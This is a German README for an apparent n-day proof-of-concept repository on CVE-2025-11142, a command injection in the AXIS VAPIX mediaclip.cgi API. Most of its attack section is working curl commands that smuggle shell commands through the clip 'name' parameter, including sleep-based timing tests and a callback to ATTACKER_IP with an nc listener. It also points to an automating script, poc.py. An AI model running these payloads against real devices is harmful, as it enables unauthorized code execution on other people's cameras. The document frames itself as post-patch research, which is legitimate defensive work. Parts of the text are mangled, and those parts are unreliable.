
Proof-of-concept und technische Analyse für CVE-2025-11142, eine authentifizierte OS-Befehlsinjektion in AXIS VAPIX mediaclip.cgi, mit zeitbasierten und Out-of-Band-Verifikationsmethoden.
mediaclip.cgin-day-Forschungswriteup & PoC — technische Analyse nach dem Patch einer OS-Command-Injection-Schwachstelle (CVSS 7.1) in der AXIS-VAPIX-Media-Clip-API, unabhängig wiederentdeckt und durch Black-Box-Tests gegen ein Axis-Gerät verifiziert.
Das offizielle Advisory von Axis veröffentlicht keine technischen Ausnutzungsdetails oder einen öffentlichen PoC („Axis wird keine detaillierteren Informationen über die Schwachstelle bereitstellen“, „keine öffentlich bekannten Exploits“ zum Zeitpunkt der Veröffentlichung des Advisories). Dieses Repository dokumentiert eine unabhängig reproduzierte, evidenzbasierte Bestätigung, die erst nach allgemeiner Verfügbarkeit des Hersteller-Fixes (AXIS OS 12.7.36) veröffentlicht wurde. Siehe Offenlegungszeitplan.
| CVE-ID | CVE-2025-11142 |
| CWE | CWE-78 (OS-Command-Injection) |
| CVSS | 7.1 (Hoch) |
| Betroffen | AXIS OS 12.6.54 – 12.7.35 |
| Behoben in | AXIS OS 12.7.36 (Active-Track) |
| Hersteller-Advisory | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Erforderliche Berechtigungen | Authentifizierter Operator/Admin (VAPIX-HTTP-Digest-Auth) |
| Hier verifizierte Auswirkung | Beliebige OS-Befehlsausführung als Dienstkonto mit niedrigen Rechten (nicht root) |
Der VAPIX-Endpunkt /axis-cgi/mediaclip.cgi akzeptiert eine action=update-Anfrage mit einem
Freitext-name-Parameter (dem Anzeigenamen des Clips). Black-Box-Tests zeigen, dass dieser Wert
unbereinigt an einen Shell-Aufruf auf dem Gerät übergeben wird — höchstwahrscheinlich als Teil eines
internen Datei-Umbenennungs-/Verarbeitungsschritts für das Media-Clip-Subsystem.
Es gibt kein öffentliches technisches Writeup, das den genauen serverseitigen Codepfad beschreibt (Axis hat keines veröffentlicht), daher wird die untenstehende Ursache aus dem Black-Box-Verhalten abgeleitet, nicht aus einer Quellcode-Überprüfung.
Alle Anfragen verwenden HTTP-Digest-Authentifizierung (das Gerät lehnt Basic-Auth ab). Ersetzen Sie
TARGET, USER und PASS durch die Werte Ihres eigenen Laborgeräts — verwenden Sie die Beispiel-Anmeldedaten
nicht gegen ein Gerät, das Ihnen nicht gehört oder für das Sie nicht autorisiert sind.
Die update-Aktion erfordert einen vorhandenen Clip. Wenn Clip 0 noch nicht existiert, laden Sie
zuerst einen kleinen, harmlosen Platzhalter hoch:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Jede winzige gültige WAV-Datei funktioniert für poc.wav (ein minimaler RIFF/WAVE-Header ist ausreichend).
# Basislinie / Kontrolle — keine injizierte Verzögerung
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# injizierte 8-Sekunden-Verzögerung
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Eine Antwortzeit, die der injizierten sleep-Dauer folgt (anstatt der ~0,3s-Basislinie),
bestätigt, dass die Shell den vollständigen name-Wert ausführt und ihn nicht nur als träge
Zeichenkette behandelt. Dies wurde mit mehreren, unabhängig skalierten Verzögerungen (0s / 3s / 6s / 8s)
und mehreren Injektionssyntaxen (;, &&, Backticks, $(...)) verifiziert, um Zufall auszuschließen.
Da der HTTP-Antworttext niemals Befehlsausgabe zurückgibt (OK / Updating=0 unabhängig von der
Nutzlast), ist die überzeugendste Bestätigung die Nutzung der eigenen ausgehenden Netzwerkfähigkeit des Geräts.
Starten Sie einen Listener auf einem Angreifer-kontrollierten Host und lassen Sie den injizierten Befehl
dorthin zurückrufen:
# auf dem Angreifer-Host:
nc -lvnp 4444
# injizierte Nutzlast:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Eine echte eingehende HTTP-Anfrage von der IP-Adresse des Zielgeräts, die die
curl-User-Agent-Zeichenkette enthält, ist ein eindeutiger Beweis für Remote-Code-Ausführung — die Anfrage
kann nur von einem Befehl stammen, der tatsächlich auf dem Gerät ausgeführt wurde.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pySiehe poc.py für ein eigenständiges Skript, das die Schritte 1–4 gegen ein
Ziel automatisiert, das Sie auf der Befehlszeile angeben.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi), die Axis nicht bereits bestätigt hat.Dieser Code wird nur für autorisierte Sicherheitstests, Sicherheitsforschung und defensive Zwecke bereitgestellt (z. B. zur Überprüfung, ob Ihre eigene Flotte gepatcht ist, oder zur Erstellung von Erkennungssignaturen). Verwenden Sie ihn nicht gegen Geräte, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der/die Autor(en) übernehmen keine Haftung für Missbrauch.
MIT — siehe LICENSE.